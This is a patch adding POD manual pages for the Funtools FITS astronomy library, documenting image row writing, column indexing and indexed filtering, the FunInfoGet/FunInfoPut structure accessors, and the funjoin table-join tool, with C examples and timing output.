if( !FunImageRowGet(fun, drow, i, i, "bitpix=-64") )
|
||||
gerror(stderr, "can't FunImageRowGet: %d %s\n", i, iname);
|
||||
/* reverse the line */
|
||||
for(j=1; j<=dim1; j++){
|
||||
... process drow[j-1] ...
|
||||
}
|
||||
}
|
||||
...
|
||||
|
||||
|
||||
|
||||
On success, a pointer to the image buffer is returned. (This will be
|
||||
the same as the second argument, if NULL is not passed to the latter.)
|
||||
On error, NULL is returned. Note that the considerations described
|
||||
above for specifying binning columns in
|
||||
FunImageGet() also apply to
|
||||
B<FunImageRowGet()>.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,122 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunImageRowPut - put row(s) of an image>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
void *FunImageRowPut(Fun fun, void *buf, int rstart, int rstop,
|
||||
int dim1, int dim2, int bitpix, char *plist)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The B<FunImageRowPut()> routine writes one or more image rows to
|
||||
the specified FITS image file. The first argument is the Funtools
|
||||
handle returned by FunOpen().
|
||||
The second B<buf> argument is a pointer to the row data buffer,
|
||||
while the third and fourth arguments specify the starting and ending
|
||||
rows to write. Valid rows values range from 1 to dim2, i.e., row is
|
||||
one-valued.
|
||||
|
||||
|
||||
The B<dim1>and B<dim2> arguments that follow specify the
|
||||
dimensions, where dim1 corresponds to naxis1 and dim2 corresponds to
|
||||
naxis2. The B<bitpix> argument data type of the image and can
|
||||
have the following FITS-standard values:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
8 unsigned char
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
16 short
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
32 int
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
-32 float
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
-64 double
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
For example:
|
||||
|
||||
double *drow;
|
||||
Fun fun, fun2;
|
||||
... open files ...
|
||||
/* get section dimensions */
|
||||
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2, 0);
|
||||
/* allocate one line's worth */
|
||||
drow = malloc(dim1*sizeof(double));
|
||||
/* retrieve and process each input row (starting at 1) */
|
||||
for(i=1; i <= dim2; i++){
|
||||
if( !FunImageRowGet(fun, drow, i, i, "bitpix=-64") )
|
||||
gerror(stderr, "can't FunImageRowGet: %d %s\n", i, iname);
|
||||
... process drow ...
|
||||
if( !FunImageRowPut(fun2, drow, i, i, 64, NULL) )
|
||||
gerror(stderr, "can't FunImageRowPut: %d %s\n", i, oname);
|
||||
}
|
||||
...
|
||||
|
||||
|
||||
|
||||
The data are assumed to be in the native machine format and will
|
||||
automatically be swapped to big-endian FITS format if necessary. This
|
||||
behavior can be over-ridden with the B<convert=[true|false]>
|
||||
keyword in the B<plist> param list string.
|
||||
|
||||
|
||||
When you are finished writing the image, you should call
|
||||
FunFlush() to write out the FITS
|
||||
image padding. However, this is not necessary if you subsequently call
|
||||
FunClose() without doing any other I/O to the FITS file.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,83 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funindex - create an index for a column of a FITS binary table>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funindex <switches> <iname> <key> [oname]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
NB: these options are not compatible with Funtools processing. Please
|
||||
use the defaults instead.
|
||||
-c # compress output using gzip"
|
||||
-a # ASCII output, ignore -c (default: FITS table)"
|
||||
-f # FITS table output (default: FITS table)"
|
||||
-l # long output, i.e. with key value(s) (default: long)"
|
||||
-s # short output, i.e. no key value(s) (default: long)"
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The funindex script creates an index for the specified column (key) by
|
||||
running funtable -s (sort) and then saving the column value and the
|
||||
record number for each sorted row. This index will be used automatically
|
||||
by funtools filtering of that column, provided the index file's modification
|
||||
date is later than that of the data file.
|
||||
|
||||
|
||||
The first required argument is the name of the FITS binary table
|
||||
to index. Please note that text files cannot be indexed at this time.
|
||||
The second required argument is the column (key) name to index. While
|
||||
multiple keys can be specified in principle, the funtools index processing
|
||||
assume a single key and will not recognize files containing multiple keys.
|
||||
|
||||
|
||||
By default, the output index file name is [root]_[key].idx, where [root]
|
||||
is the root of the input file. Funtools looks for this specific file name
|
||||
when deciding whether to use an index for faster filtering. Therefore, the
|
||||
optional third argument (output file name) should not be used for funtools
|
||||
processing.
|
||||
|
||||
|
||||
For example, to create an index on column Y for a given FITS file, use:
|
||||
|
||||
funindex foo.fits Y
|
||||
|
||||
This will generate an index named foo_y.idx, which will be used by funtools
|
||||
for filters involving the Y column.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,215 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<Funindexes: Using Indexes to Filtering Rows in a Table>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
This document contains a summary of the user interface for
|
||||
filtering rows in binary tables with indexes.
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Funtools Table Filtering allows rows in a
|
||||
table to be selected based on the values of one or more columns in the
|
||||
row. Because the actual filter code is compiled on the fly, it is very
|
||||
efficient. For very large files (hundreds of Mb or larger), however,
|
||||
evaluating the filter expression on each row can take a long time. Therefore,
|
||||
funtools supports index files for columns, which are used automatically during
|
||||
filtering to reduce dramatically the number of row evaluations performed.
|
||||
The speed increase for indexed filtering can be an order of magnitude or
|
||||
more, depending on the size of the file.
|
||||
|
||||
|
||||
The funindex program creates a
|
||||
index on column in a binary table. For example, to create an index
|
||||
for the column pi in the file huge.fits, use:
|
||||
|
||||
funindex huge.fits pi
|
||||
|
||||
This will create an index named huge_pi.idx.
|
||||
|
||||
|
||||
When a filter expression is initialized for row evaluation, funtools
|
||||
looks for an index file for each column in the filter expression. If
|
||||
found, and if the file modification date of the index file is later
|
||||
than that of the data file, then the index will be used to reduce the
|
||||
number of rows that are evaluated in the filter. When <A
|
||||
HREF="./regions.html">Spatial Region Filtering is part of the
|
||||
expression, the columns associated with the region checked for index
|
||||
files.
|
||||
|
||||
|
||||
If an index file is not available for a given column, then in general,
|
||||
all rows must be checked when that column is part of a filter
|
||||
expression. This is not true, however, when a non-indexed column is
|
||||
part of an AND expression. In this case, only the rows that pass the
|
||||
other part of the AND expression need to be checked. Thus, in some cases,
|
||||
filtering speed can increase significantly even if all columns are not
|
||||
indexed.
|
||||
|
||||
|
||||
Also note that certain types of filter expression syntax cannot make
|
||||
use of indices. For example, calling functions with column names as
|
||||
arguments implies that all rows must be checked against the function
|
||||
value. Once again, however, if this function is part of an AND
|
||||
expression, then a significant improvement in speed still is possible
|
||||
if the other part of the AND expression is indexed.
|
||||
|
||||
|
||||
As an example, note below the dramatic speedup in searching a 1 Gb
|
||||
file using an AND filter, even when one of the columns (pha) has no
|
||||
index:
|
||||
|
||||
|
||||
bynars-16: time fundisp huge.fits'[idx_use=0,idx_debug=1,pha=2348&&cir 4000 4000 1]' "x y pha"
|
||||
x y pha
|
||||
----------- ----------- ----------
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
42.36u 13.07s 6:42.89 13.7%
|
||||
|
||||
bynars-17: time fundisp huge.fits'[idx_use=1,idx_debug=1,pha=2348&&cir 4000 4000 1]' "x y pha"
|
||||
x y pha
|
||||
----------- ----------- ----------
|
||||
idxeq: [INDEF]
|
||||
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
|
||||
idxand(1): INDEF [IDX_OR_SORT]
|
||||
idxall(1): [IDX_OR_SORT]
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
1.55u 0.37s 1:19.80 2.4%
|
||||
|
||||
|
||||
When all columns are indexed, the increase in speed can be even more dramatic:
|
||||
|
||||
bynars-20: time fundisp huge.fits'[idx_use=0,idx_debug=1,pi=770&&cir 4000 4000 1]' "x y pi"
|
||||
x y pi
|
||||
----------- ----------- ----------
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
42.60u 12.63s 7:28.63 12.3%
|
||||
|
||||
bynars-21: time fundisp huge.fits'[idx_use=1,idx_debug=1,pi=770&&cir 4000 4000 1]' "x y pi"
|
||||
x y pi
|
||||
----------- ----------- ----------
|
||||
idxeq: pi start=9473025,stop=9492240 => pi[ROW 9473025:9492240]
|
||||
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
|
||||
idxor sort/merge: pi[ROW 9473025:9492240] [IDX_OR_SORT]
|
||||
idxmerge(5): [IDX_OR_SORT] pi[ROW]
|
||||
idxall(1): [IDX_OR_SORT]
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
1.67u 0.30s 0:24.76 7.9%
|
||||
|
||||
|
||||
|
||||
The miracle of indexed filtering (and indeed, of any indexing) is due
|
||||
to the speed of the binary search on the index, which is of order
|
||||
log2(n) instead of n. (The funtools binary search method is taken from
|
||||
http://www.tbray.org/ongoing/When/200x/2003/03/22/Binary, to whom
|
||||
grateful acknowledgement is made.) This means that the larger the
|
||||
file, the better the performance. Conversely, it also means that
|
||||
for small files, using an index (and the overhead involved) can slow
|
||||
filtering down somewhat. Our tests indicate that on a file containing
|
||||
a few tens of thousands of rows, indexed filtering can be 10-20
|
||||
percent slower. Of course, your mileage will vary with conditions
|
||||
(disk access speed, amount of available memory, process load, etc.)
|
||||
|
||||
|
||||
Any problem encountered during index processing is supposed to result in
|
||||
indexing being turned off, replaced by filtering all rows. You can turn
|
||||
filtering off manually by setting the idx_use variable to 0 (in a filter
|
||||
expression) or the FILTER_IDX_USE environment variable to 0 (in the global
|
||||
environment). Debugging output showing how the indexes are being processed can
|
||||
be displayed to stderr by setting the idx_debug variable to 1 (in a filter
|
||||
expression) or the FILTER_IDX_DEBUG environment variable to 1 (in the global
|
||||
environment).
|
||||
|
||||
|
||||
Currently, indexed filtering only works with FITS binary tables and raw
|
||||
event files. It does not work with text files. This restriction might be
|
||||
removed in a future release.
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,226 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunInfoGet - get information from Funtools struct>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
int FunInfoGet(Fun fun, int type, char *addr, ...)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The B<FunInfoGet()> routine returns information culled from the
|
||||
Funtools structure. The first argument is the Fun handle from which
|
||||
information is to be retrieved. This first required argument is followed
|
||||
by a variable length list of pairs of arguments. Each pair consists
|
||||
of an integer representing the type of information to retrieve and the
|
||||
address where the information is to be stored. The list is terminated by a 0.
|
||||
The routine returns the number of get actions performed.
|
||||
|
||||
|
||||
The full list of available information is described below. Please note
|
||||
that only a few of these will be useful to most application developers.
|
||||
For imaging applications, the most important types are:
|
||||
|
||||
FUN_SECT_DIM1 int /* dim1 for section */
|
||||
FUN_SECT_DIM2 int /* dim2 for section */
|
||||
FUN_SECT_BITPIX int /* bitpix for section */
|
||||
|
||||
These would be used to determine the dimensions and data type of image
|
||||
data retrieved using the
|
||||
FunImageGet() routine. For
|
||||
example:
|
||||
|
||||
/* extract and bin the data section into an image buffer */
|
||||
buf = FunImageGet(fun, NULL, NULL);
|
||||
/* get required information from funtools structure.
|
||||
this should come after the FunImageGet() call, in case the call
|
||||
changed sect_bitpix */
|
||||
FunInfoGet(fun,
|
||||
FUN_SECT_BITPIX, &bitpix,
|
||||
FUN_SECT_DIM1, &dim1,
|
||||
FUN_SECT_DIM2, &dim2,
|
||||
0);
|
||||
/* loop through pixels and reset values below limit to value */
|
||||
for(i=0; i<dim1*dim2; i++){
|
||||
switch(bitpix){
|
||||
case 8:
|
||||
if( cbuf[i] <= blimit ) cbuf[i] = bvalue;
|
||||
...
|
||||
}
|
||||
|
||||
It is important to bear in mind that the call to
|
||||
FunImageGet()
|
||||
can change the value of FUN_SECT_BITPIX (e.g. if "bitpix=n" is passed
|
||||
in the param list). Therefore, a call to
|
||||
FunInfoGet()
|
||||
should be made B<after> the call to
|
||||
FunImageGet(),
|
||||
in order to retrieve the updated bitpix value.
|
||||
See the imblank example code for more
|
||||
details.
|
||||
|
||||
|
||||
It also can be useful to retrieve the World Coordinate System
|
||||
information from the Funtools structure. Funtools uses the the WCS
|
||||
Library developed by Doug Mink at SAO, which is available
|
||||
here.
|
||||
(More information about the WCSTools project in general can be found
|
||||
here.)
|
||||
The FunOpen() routine initializes
|
||||
two WCS structures that can be used with this WCS Library.
|
||||
Applications can retrieve either of these two WCS structures using
|
||||
B<FunInfoGet()>:
|
||||
|
||||
FUN_WCS struct WorldCoor * /* wcs structure, for image coordinates*/
|
||||
FUN_WCS0 struct WorldCoor * /* wcs structure, for physical coordinates */
|
||||
|
||||
The structure retrieved by FUN_WCS is a WCS library handle containing
|
||||
parameters suitable for use with image coordinates, regardless of whether the
|
||||
data are images or tables. For this structure, the WCS reference point
|
||||
(CRPIX) has been converted to image coordinates if the underlying file
|
||||
is a table (and therefore in physical coordinates). You therefore must
|
||||
ensure that the positions being passed to a routine like pix2wcs are in
|
||||
image coordinates. The FUN_WCS0 structure has not had its WCS
|
||||
reference point converted to image coordinates. It therefore is useful
|
||||
when passing processing physical coordinates from a table.
|
||||
|
||||
|
||||
Once a WCS structure has been retrieved, it can be used as the first
|
||||
argument to the WCS library routines. (If the structure is NULL, no
|
||||
WCS information was contained in the file.) The two important WCS routines
|
||||
that Funtools uses are:
|
||||
|
||||
#include <wcs.h>
|
||||
void pix2wcs (wcs,xpix,ypix,xpos,ypos)
|
||||
struct WorldCoor *wcs; /* World coordinate system structure */
|
||||
double xpix,ypix; /* x and y coordinates in pixels */
|
||||
double *xpos,*ypos; /* RA and Dec in degrees (returned) */
|
||||
|
||||
|
||||
which converts pixel coordinates to sky coordinates, and:
|
||||
|
||||
|
||||
void wcs2pix (wcs, xpos, ypos, xpix, ypix, offscl)
|
||||
struct WorldCoor *wcs; /* World coordinate system structure */
|
||||
double xpos,ypos; /* World coordinates in degrees */
|
||||
double *xpix,*ypix; /* coordinates in pixels */
|
||||
int *offscl; /* 0 if within bounds, else off scale */
|
||||
|
||||
which converts sky coordinates to pixel coordinates. Again, please note
|
||||
that the wcs structure returned by FUN_WCS assumes that image coordinates
|
||||
are passed to the pix2wcs routine, while FUN_WCS0 assumes that physical
|
||||
coordinates are passed.
|
||||
|
||||
|
||||
Note that funtools.h file automatically includes wcs.h. An example
|
||||
program that utilizes these WCS structure to call WCS Library routines
|
||||
is twcs.c.
|
||||
|
||||
|
||||
The following is the complete list of information that can be returned:
|
||||
|
||||
name type comment
|
||||
--------- -------- ---------------------------------------------
|
||||
FUN_FNAME char * /* file name */
|
||||
FUN_GIO GIO /* gio handle */
|
||||
FUN_HEADER FITSHead /* fitsy header struct */
|
||||
FUN_TYPE int /* TY_TABLE,TY_IMAGE,TY_EVENTS,TY_ARRAY */
|
||||
FUN_BITPIX int /* bits/pixel in file */
|
||||
FUN_MIN1 int /* tlmin of axis1 -- tables */
|
||||
FUN_MAX1 int /* tlmax of axis1 -- tables */
|
||||
FUN_MIN2 int /* tlmin of axis2 -- tables */
|
||||
FUN_MAX2 int /* tlmax of axis2 -- tables */
|
||||
FUN_DIM1 int /* dimension of axis1 */
|
||||
FUN_DIM2 int /* dimension of axis2 */
|
||||
FUN_ENDIAN int /* 0=little, 1=big endian */
|
||||
FUN_FILTER char * /* supplied filter */
|
||||
FUN_IFUN FITSHead /* pointer to reference header */
|
||||
FUN_IFUN0 FITSHead /* same as above, but no reset performed */
|
||||
/* image information */
|
||||
FUN_DTYPE int /* data type for images */
|
||||
FUN_DLEN int /* length of image in bytes */
|
||||
FUN_DPAD int /* padding to end of extension */
|
||||
FUN_DOBLANK int /* was blank keyword defined? */
|
||||
FUN_BLANK int /* value for blank */
|
||||
FUN_SCALED int /* was bscale/bzero defined? */
|
||||
FUN_BSCALE double /* bscale value */
|
||||
FUN_BZERO double /* bzero value */
|
||||
/* table information */
|
||||
FUN_NROWS int /* number of rows in file (naxis2) */
|
||||
FUN_ROWSIZE int /* size of user row struct */
|
||||
FUN_BINCOLS char * /* specified binning columns */
|
||||
FUN_OVERFLOW int /* overflow detected during binning? */
|
||||
/* array information */
|
||||
FUN_SKIP int /* bytes to skip in array header */
|
||||
/* section information */
|
||||
FUN_SECT_X0 int /* low dim1 value of section */
|
||||
FUN_SECT_X1 int /* hi dim1 value of section */
|
||||
FUN_SECT_Y0 int /* low dim2 value of section */
|
||||
FUN_SECT_Y1 int /* hi dim2 value of section */
|
||||
FUN_SECT_BLOCK int /* section block factor */
|
||||
FUN_SECT_BTYPE int /* 's' (sum), 'a' (average) for binning */
|
||||
FUN_SECT_DIM1 int /* dim1 for section */
|
||||
FUN_SECT_DIM2 int /* dim2 for section */
|
||||
FUN_SECT_BITPIX int /* bitpix for section */
|
||||
FUN_SECT_DTYPE int /* data type for section */
|
||||
FUN_RAWBUF char * /* pointer to raw row buffer */
|
||||
FUN_RAWSIZE int /* byte size of raw row records */
|
||||
/* column information */
|
||||
FUN_NCOL int /* number of row columns defined */
|
||||
FUN_COLS FunCol /* array of row columns */
|
||||
/* WCS information */
|
||||
FUN_WCS struct WorldCoor * /* wcs structure, converted for images*/
|
||||
FUN_WCS0 struct WorldCoor * /* wcs structure, not converted */
|
||||
|
||||
|
||||
|
||||
Row applications would not normally need any of this information.
|
||||
An example of how these values can be used in more complex programs is
|
||||
the evnext example code. In this program, the
|
||||
time value for each row is changed to be the value of the succeeding
|
||||
row. The program thus reads the time values for a batch of rows,
|
||||
changes the time values to be the value for the succeeding row, and
|
||||
then merges these changed time values back with the other columns to
|
||||
the output file. It then reads the next batch, etc.
|
||||
|
||||
|
||||
This does not work for the last row read in each batch, since there
|
||||
is no succeeding row until the next batch is read. Therefore, the
|
||||
program saves that last row until it has read the next batch, then
|
||||
processes the former before starting on the new batch. In order to
|
||||
merge the last row successfully, the code uses FUN_RAWBUF to save
|
||||
and restore the raw input data associated with each batch of
|
||||
rows. Clearly, this requires some information about how funtools
|
||||
works internally. We are happy to help you write such programs as the
|
||||
need arises.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,180 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunInfoPut - put information into a Funtools struct>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
int FunInfoPut(Fun fun, int type, char *addr, ...)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The B<FunInfoPut()> routine puts information into a Funtools
|
||||
structure. The first argument is the Fun handle from which
|
||||
information is to be retrieved. After this first required argument
|
||||
comes a variable length list of pairs of arguments. Each pair consists
|
||||
of an integer representing the type of information to store and the
|
||||
address of the new information to store in the struct. The variable
|
||||
list is terminated by a 0. The routine returns the number of put
|
||||
actions performed.
|
||||
|
||||
|
||||
The full list of available information is described above with the
|
||||
FunInfoPut() routine. Although
|
||||
use of this routine is expected to be uncommon, there is one
|
||||
important situation in which it plays an essential part: writing
|
||||
multiple extensions to a single output file.
|
||||
|
||||
|
||||
For input, multiple extensions are handled by calling
|
||||
FunOpen() for each extension to be
|
||||
processed. When opening multiple inputs, it sometimes is the case that
|
||||
you will want to process them and then write them (including their
|
||||
header parameters) to a single output file. To accomplish this, you
|
||||
open successive input extensions using
|
||||
FunOpen() and then call
|
||||
B<FunInfoPut()> to set the
|
||||
Funtools reference handle
|
||||
of the output file to that of the newly opened input extension:
|
||||
|
||||
/* open a new input extension */
|
||||
ifun=FunOpen(tbuf, "r", NULL)) )
|
||||
/* make the new extension the reference handle for the output file */
|
||||
FunInfoPut(ofun, FUN_IFUN, &ifun, 0);
|
||||
|
||||
|
||||
Resetting FUN_IFUN has same effect as when a funtools handle is passed
|
||||
as the final argument to
|
||||
FunOpen(). The state of the output
|
||||
file is reset so that a new extension is ready to be written.
|
||||
Thus, the next I/O call on the output extension will output the
|
||||
header, as expected.
|
||||
|
||||
|
||||
For example, in a binary table, after resetting FUN_IFUN you can then
|
||||
call FunColumnSelect() to
|
||||
select the columns for output. When you then call
|
||||
FunImagePut() or <A
|
||||
HREF="./library.html#funtablerowput">FunTableRowPut(), a new
|
||||
extension will be written that contains the header parameters from the
|
||||
reference extension. Remember to call
|
||||
FunFlush() to complete output of a
|
||||
given extension.
|
||||
|
||||
|
||||
A complete example of this capability is given
|
||||
in the evcol example code.
|
||||
The central algorithm is:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
open the output file without a reference handle
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
loop: open each input extension in turn
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
set the reference handle for output to the newly opened input extension
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
read the input rows or image and perform processing
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
write new rows or image to the output file
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
flush the output
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
close input extension
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
close output file
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
Note that FunFlush() is called
|
||||
after processing each input extension in order to ensure that the
|
||||
proper padding is written to the output file. A call to
|
||||
FunFlush() also ensures that the
|
||||
extension header is written to the output file in the case where there
|
||||
are no rows to output.
|
||||
|
||||
|
||||
If you wish to output a new extension without using a
|
||||
Funtools reference handle, you can
|
||||
call FunInfoPut() to reset the FUN_OPS value directly. For a binary
|
||||
table, you would then call FunColumnSelect() to set up the columns for
|
||||
this new extension.
|
||||
|
||||
/* reset the operations performed on this handle */
|
||||
int ops=0;
|
||||
FunInfoPut(ofun, FUN_OPS, &ops, 0);
|
||||
FunColumnSelect(fun, sizeof(EvRec), NULL,
|
||||
"MYCOL", "J", "w", FUN_OFFSET(Ev, mycol),
|
||||
NULL);
|
||||
|
||||
Once the FUN_OPS variable has been reset, the next I/O call on the
|
||||
output extension will output the header, as expected.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,233 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funjoin - join two or more FITS binary tables on specified columns>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funjoin [switches] <ifile1> <ifile2> ... <ifilen> <ofile>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-a cols # columns to activate in all files
|
||||
-a1 cols ... an cols # columns to activate in each file
|
||||
-b 'c1:bvl,c2:bv2' # blank values for common columns in all files
|
||||
-bn 'c1:bv1,c2:bv2' # blank values for columns in specific files
|
||||
-j col # column to join in all files
|
||||
-j1 col ... jn col # column to join in each file
|
||||
-m min # min matches to output a row
|
||||
-M max # max matches to output a row
|
||||
-s # add 'jfiles' status column
|
||||
-S col # add col as status column
|
||||
-t tol # tolerance for joining numeric cols [2 files only]
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
B<funjoin> joins rows from two or more (up to 32)
|
||||
FITS Binary Table files, based on the values
|
||||
of specified join columns in each file. NB: the join columns must have
|
||||
an index file associated with it. These files are generated using the
|
||||
B<funindex> program.
|
||||
|
||||
|
||||
The first argument to the program specifies the first input FITS table
|
||||
or raw event file. If "stdin" is specified, data are read from the
|
||||
standard input. Subsequent arguments specify additional event files
|
||||
and tables to join. The last argument is the output FITS file.
|
||||
|
||||
|
||||
NB: Do B<not> use Funtools Bracket
|
||||
Notation to specify FITS extensions and row filters when running
|
||||
funjoin or you will get wrong results. Rows are accessed and joined
|
||||
using the index files directly, and this bypasses all filtering.
|
||||
|
||||
|
||||
The join columns are specified using the B<-j col> switch (which
|
||||
specifies a column name to use for all files) or with B<-j1 col1>,
|
||||
B<-j2 col2>, ... B<-jn coln> switches (which specify a column
|
||||
name to use for each file). A join column must be specified for each file.
|
||||
If both B<-j col> and B<-jn coln> are specified for a given
|
||||
file, then the latter is used. Join columns must either be of type
|
||||
string or type numeric; it is illegal to mix numeric and string
|
||||
columns in a given join. For example, to join three files using the
|
||||
same key column for each file, use:
|
||||
|
||||
funjoin -j key in1.fits in2.fits in3.fits out.fits
|
||||
|
||||
A different key can be specified for the third file in this way:
|
||||
|
||||
funjoin -j key -j3 otherkey in1.fits in2.fits in3.fits out.fits
|
||||
|
||||
|
||||
|
||||
The B<-a "cols"> switch (and B<-a1 "col1">,
|
||||
B<-a2 "cols2"> counterparts) can be used to specify columns to
|
||||
activate (i.e. write to the output file) for each input file. By
|
||||
default, all columns are output.
|
||||
|
||||
|
||||
If two or more columns from separate files have the same name, the
|
||||
second (and subsequent) columns are renamed to have an underscore
|
||||
and a numeric value appended.
|
||||
|
||||
|
||||
The B<-m min> and B<-M max> switches specify the minimum
|
||||
and maximum number of joins required to write out a row. The default
|
||||
minimum is 0 joins (i.e. all rows are written out) and the default maximum
|
||||
is 63 (the maximum number of possible joins with a limit of 32 input files).
|
||||
For example, to write out only those rows in which exactly two files
|
||||
have columns that match (i.e. one join):
|
||||
|
||||
funjoin -j key -m 1 -M 1 in1.fits in2.fits in3.fits ... out.fits
|
||||
|
||||
|
||||
|
||||
A given row can have the requisite number of joins without all of the
|
||||
files being joined (e.g. three files are being joined but only two
|
||||
have a given join key value). In this case, all of the columns of the
|
||||
non-joined file are written out, by default, using blanks (zeros or NULLs).
|
||||
